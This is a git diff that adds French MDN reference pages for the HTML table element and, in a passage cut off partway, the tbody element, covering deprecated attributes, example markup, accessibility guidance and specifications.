+slug: Web/HTML/Element/table
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Tableaux
+  - Web
+translation_of: Web/HTML/Element/table
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;table&gt;</code></strong> permet de représenter un tableau de données, c'est-à-dire des informations exprimées sur un tableau en deux dimensions.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/table.html","tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>. Les attributs listés ci-après sont désormais tous dépréciés.</p>
+
+<h3 id="Attributs_dépréciés">Attributs dépréciés</h3>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{Deprecated_inline}}</dt>
+ <dd>Cet attribut énumérée indique la manière dont la table doit être aligné en regard du document qui la contient. Ile peut prendre les valeurs suivantes :
+ <ul>
+  <li><code>left</code>, signifiant que la table doit être affichée à la gauche du document ;</li>
+  <li><code>center</code>, signifiant que la table doit être affichée centrée dans le document ;</li>
+  <li><code>right</code>, signifiant que la table doit être affichée à droite du document.<br>
+    </li>
+ </ul>
+
+ <div class="note"><strong>Note : </strong>
+
+ <ul>
+  <li><strong>Cet attribut ne doit pas être utilisé</strong> car il a été déprécié : l'élément {{HTMLElement("table")}} devrait être stylisé en utilisant <a href="/fr/docs/CSS">CSS</a>. Pour obtenir un effet similaire à celui réalisé par l'attribut align, les propriétés <a href="/fr/docs/CSS">CSS</a> {{cssxref("text-align")}} et {{cssxref("vertical-align")}} devraient être utilisées.</li>
+  <li>Avant Firefox 4, Firefox supportait également, en mode quirks uniquement, les valeurs <code>middle</code>, <code>absmiddle</code>, et <code>abscenter</code> comme synonymes de <code>center</code><em>.  </em></li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("bgcolor")}} {{Deprecated_inline}}</dt>
+ <dd>Cet attribut définit la couleur d'arrière-plan de toutes les cellules. C'est un code à 6 chiffres hexadécimaux comme défini par le <a class="external" href="https://www.w3.org/Graphics/Color/sRGB">sRGB</a>. Il est précédé d'un '#'. Un de ces seize mot-clé peut également être utilisé.
+ <table style="width: 80%;">
+  <tbody>
+   <tr>
+    <td style="background-color: black; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>black</code> = "#000000"</td>
+    <td style="background-color: green; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>green</code> = "#008000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: silver; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>silver</code> = "#C0C0C0"</td>
+    <td style="background-color: lime; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>lime</code> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: gray; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>gray</code> = "#808080"</td>
+    <td style="background-color: olive; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>olive</code> = "#808000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: white; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>white</code> = "#FFFFFF"</td>
+    <td style="background-color: yellow; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>yellow</code> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: maroon; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>maroon</code> = "#800000"</td>
+    <td style="background-color: navy; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>navy</code> = "#000080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: red; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>red</code> = "#FF0000"</td>
+    <td style="background-color: blue; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>blue</code> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td style="background-color: purple; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>purple</code> = "#800080"</td>
+    <td style="background-color: teal; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>teal</code> = "#008080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: fuchsia; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>fuchsia</code> = "#FF00FF"</td>
+    <td style="background-color: aqua; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>aqua</code> = "#00FFFF"</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Note d'utilisation : </strong>Il est fortement conseillé de ne pas utiliser cet attribut car celui-ci a été déprécié. La mise en forme d'un tableau doit se faire en utilisant CSS. Il est possible d'utiliser la propriété CSS {{cssxref("background-color")}} pour cet effet.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("border")}} {{Deprecated_inline}}</dt>
+ <dd>Cet attribut entier définit, en pixels, la taille de la bordure entourant le tableau. S'il vaut 0, cela implique que l'attribut {{htmlattrxref("frame", "table")}} est vide.
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut ayant été déprécié, il ne doit pas être utilisé. La mise en forme d'un tableau doit s'effectuer en utilisant CSS. Les propriétés CSS {{cssxref("border")}}, {{cssxref("border-color")}}, {{cssxref("border-width")}} et {{cssxref("border-style")}} devraient être utilisées à la place.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("cellpadding")}} {{Deprecated_inline}}</dt>
+ <dd>Cet attribut définit la taille de l'espace entre le contenu d'une cellule et sa bordure, qu'lle soit affichée ou non. Si cet attribut est exprimé en pixels, le décalage sera appliqué sur les quatre côtés. S'il est exprimé en pourcents, le contenu sera centré verticalement et la somme des espaces en haut et en bas représentera le pourcentage, il en va de même pour l'espace horizontal (droite et gauche).
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut ayant été déprécié, il ne doit pas être utilisé. La mise en forme d'un tableau doit s'effectuer en utilisant CSS. Pour réaliser un effet similaire, la propriété {{cssxref("border-collapse")}} avec la valeur collapse doit être utilisée sur l'élément {{HTMLElement("table")}} et la propriété {{cssxref("padding")}} sur l'élément {{HTMLElement("td")}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("cellspacing")}} {{Deprecated_inline}}</dt>
+ <dd>Cet attribut définit la taille (en pourcents ou pixels) de l'espace (vertical et horizontal) entre deux cellules, entre la haut du tableau et les cellules de la première ligne, la gauche du tableau et les cellules de la première colonne, puis de la même manière pour le bas et le côté droit du tableau.
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut ayant été déprécié, il ne doit pas être utilisé. La mise en forme d'un tableau doit s'effectuer en utilisant CSS. Pour réaliser un effet similaire, la propriété {{cssxref("border-collapse")}} avec la valeur collapse doit être utilisée sur l'élément {{HTMLElement("table")}} et la propriété {{cssxref("margin")}} sur l'élément {{HTMLElement("td")}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("frame")}} {{Deprecated_inline}}</dt>
+ <dd>Cet attribut à valeurs multiples définit les côtés du tableau sur lesquels dessiner une bordure. Il peut prendre les valeurs suivantes : <code>above, hsides, lhs, border, void, below, vsides, rhs, box</code>.
+ <div class="note"><strong>N</strong><strong>ote d'utilisation : </strong>Cet attribut ayant été déprécié, il ne doit pas être utilisé. La mise en forme d'un tableau doit s'effectuer en utilisant CSS. Pour réaliser un effet similaire, les propriétés {{cssxref("border-style")}} et {{cssxref("border-width")}} doivent être utilisées.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("rules")}} {{Deprecated_inline}}</dt>
+ <dd>Cet attribut à valeurs multiples définit la manière dont les traits doivent apparaître au sein du tableau. Il peut avoir les valeurs suivantes :
+ <ul>
+  <li><code>none</code>, les traits ne doivent pas être affichés, c'est la valeur par défaut</li>
+  <li><code>groups</code>, les traits sont uniquement affichés entre les groupes de lignes du tableau (définis par les éléments {{HTMLElement("thead")}}, {{HTMLElement("tbody")}} et {{HTMLElement("tfoot")}})  et entre les groupes de colonnes (définis par les éléments {{HTMLElement("col")}} et {{HTMLElement("colgroup")}})</li>
+  <li><code>rows</code>, les traits seront affichées entre les lignes du tableau</li>
+  <li><code>columns</code>, les lignes seront affichées entre les colonnes du tableau</li>
+  <li><code>all</code>, tous les traits seront affichés (entre les lignes et entre les colonnes).</li>
+ </ul>
+
+ <div class="note"><strong>Note :</strong>
+
+ <ul>
+  <li>L'apparence de ces traits dépend du navigateur utilisé et ne peut être modifiée.</li>
+  <li>Cet attribut ayant été déprécié, il ne doit pas être utilisé. La propriété CSS {{cssxref("border")}} doit être appliquée sur les éléments {{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("col")}} ou {{HTMLElement("colgroup")}} adéquats.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("summary")}} {{Deprecated_inline}}</dt>
+ <dd>Cet attribut définit un texte alternatif à utiliser afin de décrire le tableau. Un tel texte peut être utilisé par un agent utilisateur qui ne pourrait pas afficher le tableau. Il est généralement utilisé pour les personnes souffrant d'une déficience visuelle, comme par exemple les aveugles qui navigueront sur des pages web en utilisant un écran Braille. Si l'information contenue dans cet attribut serait également utile aux autres utilisateurs, il faudra plutôt utiliser l'élément {{HTMLElement("caption")}}. L'attribut <code><strong>summary</strong></code> n'est pas obligatoire et peut être omis lorsqu'un élément {{HTMLElement("caption")}} remplit ce rôle.
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut ayant été déprécié, il ne doit pas être utilisé. Les façons suivantes peuvent être envisagées pour cette expression :
+ <ul>
+  <li>Grâce à un texte entourant le tableau, cette manière est la plus faible du point de vue de la sémantique</li>
+  <li>Grâce à l'élément {{HTMLElement("caption")}}</li>
+  <li>Dans un élément {{HTMLElement("details")}} inclus dans l'élément {{HTMLElement("caption")}} du tableau.</li>
+  <li>En insérant l'élément {{HTMLElement("table")}} dans un élément {{HTMLElement("figure")}} et en ajoutant la description textuelle à côté du tableau.</li>
+  <li>En insérant l'élément {{HTMLElement("table")}} dans un élément {{HTMLElement("figure")}} et en ajoutant la description textuelle dans un élément {{HTMLElement("figcaption")}}.</li>
+  <li>En modifiant le tableau afin qu'aucune description supplémentaire ne soit nécessaire : par exemple en utilisant des éléments {{HTMLElement("th")}} et {{HTMLElement("thead")}}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("width")}} {{Deprecated_inline}}</dt>
+ <dd>Cet attribut définit la largeur du tableau. Elle peut être exprimée en pixels ou en pourcent (représentant alors la fraction du conteneur que le tableau peut occuper).
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut ayant été déprécié, il ne doit pas être utilisé. La propriété CSS {{cssxref("width")}} doit être utilisée à la place.</div>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/table.html")}}</div>
+
+<h3 id="Tableau_simple">Tableau simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html" style="font-size: 12px;">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Jean&lt;/td&gt;
+    &lt;td&gt;Biche&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Jeanne&lt;/td&gt;
+    &lt;td&gt;Biche&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Tableau_simple","100%","140")}}</p>
+
+<h3 id="Autres_exemples">Autres exemples</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;!-- Tableau simple avec en-tête --&gt;
+&lt;table&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Prénom&lt;/th&gt;
+    &lt;th&gt;Nom&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Jean&lt;/td&gt;
+    &lt;td&gt;Dupont&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Marion&lt;/td&gt;
+    &lt;td&gt;Duval&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;!-- Tableau utilisant thead, tfoot, et tbody --&gt;
+&lt;table&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th&gt;Contenu d'en-tête 1&lt;/th&gt;
+      &lt;th&gt;Contenu d'en-tête 2&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Contenu interne 1&lt;/td&gt;
+      &lt;td&gt;Contenu interne 2&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+  &lt;tfoot&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Pied de tableau 1&lt;/td&gt;
+      &lt;td&gt;Pied de tableau 2&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tfoot&gt;
+&lt;/table&gt;
+
+&lt;!-- Tableau utilisant colgroup --&gt;
+&lt;table&gt;
+  &lt;colgroup span="4" class="columns"&gt;&lt;/colgroup&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Pays&lt;/th&gt;
+    &lt;th&gt;Capitales&lt;/th&gt;
+    &lt;th&gt;Population&lt;/th&gt;
+    &lt;th&gt;Langue&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;USA&lt;/td&gt;
+    &lt;td&gt;Washington D.C.&lt;/td&gt;
+    &lt;td&gt;309 millions&lt;/td&gt;
+    &lt;td&gt;Anglais&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Suède&lt;/td&gt;
+    &lt;td&gt;Stockholm&lt;/td&gt;
+    &lt;td&gt;9 millions&lt;/td&gt;
+    &lt;td&gt;Suédois&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;!-- Tableau utilisant colgroup et col --&gt;
+&lt;table&gt;
+  &lt;colgroup&gt;
+    &lt;col class="column1"&gt;
+    &lt;col class="columns2plus3" span="2"&gt;
+  &lt;/colgroup&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Citron vert&lt;/th&gt;
+    &lt;th&gt;Citron&lt;/th&gt;
+    &lt;th&gt;Orange&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Vert&lt;/td&gt;
+    &lt;td&gt;Jaune&lt;/td&gt;
+    &lt;td&gt;Orange&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;!-- Tableau simple avec une légende --&gt;
+&lt;table&gt;
+  &lt;caption&gt;Super légende&lt;/caption&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Données géniales&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Autres_exemples","100%","230")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<h3 id="Légendes">Légendes</h3>
+
+<p>Fournir un élément {{HTMLElement("caption")}} pour légender le tableau avec une description claire et concise permet aux utilisateurs de décider s'ils doivent lire le contenu du tableau ou le passer.</p>
+
+<p>Une telle légende fournit une aide pour les personnes qui naviguent avec des outils d'assistance comme des lecteurs d'écran.</p>
+
+<ul>
+ <li><a href="/fr/Apprendre/HTML/Tableaux/Advanced">Ajouter une légende à un tableau grâce à <code>&lt;caption&gt;</code></a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/tables/caption-summary/">Légendes et résumés • Tableaux • Tutoriels d'accessibilité du W3C WAI (en anglais)</a></li>
+</ul>
+
+<h3 id="Portées_des_lignes_et_des_colonnes">Portées des lignes et des colonnes</h3>
+
+<p>L'attribut {{htmlattrxref("scope","th")}} peut être redondant dans certains contextes où la portée peut être déterminée avec les autres éléments. Toutefois de nombreux lecteurs d'écran utilisent cet attribut pour répliquer l'organisation générale du tableau. Dans les tableaux plus complexes, <code>scope</code> pourra être utilisé afin de fournir les informations nécessaires à l'organisation (tant au moteur HTML qu'aux outils d'assistance).</p>
+
+<h4 id="Exemple">Exemple</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;caption&gt;Noms et valeurs des couleurs&lt;/caption&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;th scope="col"&gt;Nom&lt;/th&gt;
+      &lt;th scope="col"&gt;Hexadécimal&lt;/th&gt;
+      &lt;th scope="col"&gt;HSLa&lt;/th&gt;
+      &lt;th scope="col"&gt;RGBa&lt;/th&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;Turquoise&lt;/th&gt;
+      &lt;td&gt;&lt;code&gt;#51F6F6&lt;/code&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;code&gt;hsla(180, 90%, 64%, 1)&lt;/code&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;code&gt;rgba(81, 246, 246, 1)&lt;/code&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;Ocre&lt;/th&gt;
+      &lt;td&gt;&lt;code&gt;#F6BC57&lt;/code&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;code&gt;hsla(38, 90%, 65%, 1)&lt;/code&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;code&gt;rgba(246, 188, 87, 1)&lt;/code&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<p>Ajouter <code>scope="col"</code> sur un élément {{HTMLElement("th")}} permettra d'aider à décrire le fait que la cellule est en haut de la colonne. Indiquer <code>scope="row"</code> sur un élément {{HTMLElement("td")}} permettra d'indiquer que la cellule est la première de la ligne.</p>
+
+<ul>
+ <li><a href="/fr/Apprendre/HTML/Tableaux/Advanced#Tableaux_pour_des_utisateurs_malvoyants">Utiliser les tableaux HTML pour les personnes souffrant de troubles de la vision</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/tables/two-headers/">Les tableaux avec deux en-têtes • Tutoriels d'accessibilité web W3C WAI (en anglais)</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/tables/irregular/">Les tableaux avec des en-têtes hétérogènes • Tutoriels d'accessibilité web W3C WAI (en anglais)</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/H63.html">H63 : Utiliser l'attribut <code>scope</code> afin d'associer les cellules de l'en-tête et celles des données dans les tableaux de données | Techniques W3C pour WCAG 2.0 (en anglais)</a></li>
+</ul>
+
+<h3 id="Tableaux_complexes">Tableaux complexes</h3>
+
+<p>Les technologies d'assistance telles que les lecteurs d'écran peuvent rencontrer des difficultés lors de l'analyse de tableaux complexes où les cellules d'en-tête ne sont pas associées aux données de façon clairement verticale ou horizontale. Généralement, cela se traduit par la présence des attributs {{htmlattrxref("colspan","td")}} et {{htmlattrxref("rowspan","td")}}.</p>
+
+<p>Si possible, on présentera le tableau différemment, en le divisant en plusieurs tableaux simples qui ne nécessitent pas l'utilisation des atttributs <code>colspan</code> et <code>rowspan</code>. En plus d'aider à la compréhension pour les personnes qui utilisent des outils d'assistance, cela pourra bénéficier aux personnes souffrant de troubles cognitifs.</p>
+
+<p>Si le tableau ne peut pas être subdivisé, on pourra utiliser les attributs {{htmlattrxref("id")}} et {{htmlattrxref("headers","td")}} afin d'associer « informatiquement » les cellules du tableaux avec les en-têtes correspondantes.</p>
+
+<ul>
+ <li><a href="/fr/Apprendre/HTML/Tableaux/Advanced#Tableaux_pour_des_utisateurs_malvoyants">Utiliser les tableaux HTML pour les personnes souffrant de troubles de la vision</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/tables/multi-level/">Les tableaux avec des en-têtes sur plusieurs niveaux • Tutoriels d'accesibilité web W3C WAI (en anglais)</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/H43.html">H43 : Utiliser les attributs <code>id</code> et <code>headers</code> afin d'associer les cellules de données et les cellules d'en-tête dans les tableaux | Techniques W3C pour  WCAG 2.0 (en anglais)</a></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a></td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td>
+    <div class="content-models">
+    <div id="table-mdls">
+    <p>Dans cet ordre :</p>
+
+    <ul>
+     <li>Un élément facultatif {{HTMLElement("caption")}}</li>
+     <li>Zéro ou plusieurs éléments {{HTMLElement("colgroup")}}</li>
+     <li>Un élément {{HTMLElement("thead")}} facultatif</li>
+     <li>L'un ou l'autre de ces deux cas de figure :
+      <ul>
+       <li>zéro ou plusieurs éléments  {{HTMLElement("tbody")}}</li>
+       <li>un ou plusieurs éléments {{HTMLElement("tr")}}</li>
+      </ul>
+     </li>
+     <li>un élément {{HTMLElement("tfoot")}} optionnel</li>
+    </ul>
+    </div>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du contenu de flux.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLTableElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','tables.html#the-table-element','table element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','tabular-data.html#the-table-element','table element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.table")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML relatifs aux tableaux : {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}}</li>
+ <li>Les propriétés CSS qui peuvent être utilisées pour mettre en forme l'élément <code>&lt;table&gt;</code> :
+  <ul>
+   <li>{{cssxref("width")}} qui permet de contrôler la largeur du tableau ;</li>
+   <li>{{cssxref("border")}}, {{cssxref("border-style")}}, {{cssxref("border-color")}}, {{cssxref("border-width")}}, {{cssxref("border-collapse")}}, {{cssxref("border-spacing")}} qui permettent de contrôler l'aspect des bordures pour les cellules et le contour du tableau ;</li>
+   <li>{{cssxref("margin")}} et {{cssxref("padding")}} qui s'appliquent sur le contenu d'une cellule individuelle ;</li>
+   <li>{{cssxref("text-align")}} et {{cssxref("vertical-align")}} qui permettent de définir l'alignement du texte et du contenu de la cellule.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/tbody/index.html b/files/fr/web/html/element/tbody/index.html
new file mode 100644
index 0000000000..91c7935b7b
--- /dev/null
+++ b/files/fr/web/html/element/tbody/index.html
@@ -0,0 +1,251 @@
+---
+title: '<tbody> : l''élément de corps d''un tableau'
+slug: Web/HTML/Element/tbody
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Tableaux
+  - Web
+translation_of: Web/HTML/Element/tbody
+---
+<div>{{HTMLRef}}</div>
+
+<p>L’élément HTML <strong><code>&lt;tbody&gt;</code></strong> permet de regrouper un ou plusieurs éléments {{HTMLElement("tr")}} afin de former le corps d'un tableau HTML ({{HTMLElement("table")}}).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/tbody.html","tabbed-taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'élément <code>&lt;tbody&gt;</code>, ainsi que les éléments {{HTMLElement("thead")}} et {{HTMLElement("tfoot")}}, fournit des informations sémantiques qui sont utilisées pour l'affichage à l'écran, l'impression et l'accessibilité.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h3 id="Attributs_dépréciés_ou_obsolètes">Attributs dépréciés ou obsolètes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{Deprecated_inline}} en {{HTMLVersionInline(4.01)}}, {{obsolete_inline}} en {{HTMLVersionInline(5)}}</dt>
+ <dd>Cet attribut à valeurs définit l’alignement horizontal pour le contenu de chaque cellule de la colonne. Les valeurs possibles sont :
+ <ul>
+  <li><code>left</code> : le contenu de la cellule est alligné à gauche de la cellule ;</li>
+  <li><code>center</code> : le contenu de la cellule est centré horizontalement ;</li>
+  <li><code>right</code> : le contenu de la cellule est aligné à droite de la cellule ;</li>
+  <li><code>justify</code> : ajuste la largeur des espaces du contenu texte afin que le contenu de la cellule soit justifié ;</li>
+  <li><code>char</code> : aligne le contenu texte de la cellule selon un caractère spécial avec un décalage minimum défini par les attributs {{htmlattrxref("char", "tbody")}} et {{htmlattrxref("charoff", "tbody")}} {{unimplemented_inline(2212)}}.</li>
+ </ul>
+
+ <p>Si cet attribut n’est pas renseigné, la valeur <code>left</code> est prise par défaut.</p>
+
+ <div class="note"><strong>Notes :</strong>cet attribut est devenu obsolète dans le dernier standard.
+
+ <ul>
+  <li>Pour réaliser le même effet qu’avec les valeurs <code>left</code>, <code>center</code>, <code>right</code> ou <code>justify</code>, utilisez la propriété CSS {{cssxref("text-align")}} sur cet élément.</li>
+  <li>Pour réaliser le même effet qu’avec <code>char</code>, vous pouvez, en CSS3, utiliser la valeur de {{htmlattrxref("char", "tbody")}} comme valeur pour la propriété {{cssxref("text-align")}} {{unimplemented_inline}}.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
+ <dd>Cet attribut définit la couleur d’arrière-plan de toutes les cellules. C’est un code hexadécimal à 6 chiffres comme défini par le <a class="external" href="http://www.w3.org/Graphics/Color/sRGB">sRGB</a>. Il est précédé d’un <code>#</code>. Un de ces seize mots-clés peut également être utilisé.
+ <table>
+  <tbody>
+   <tr>
+    <td style="background-color: black; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>black</code> = "#000000"</td>
+    <td style="background-color: green; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>green</code> = "#008000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: silver; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>silver</code> = "#C0C0C0"</td>
+    <td style="background-color: lime; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>lime</code> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: gray; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>gray</code> = "#808080"</td>
+    <td style="background-color: olive; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>olive</code> = "#808000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: white; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>white</code> = "#FFFFFF"</td>
+    <td style="background-color: yellow; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
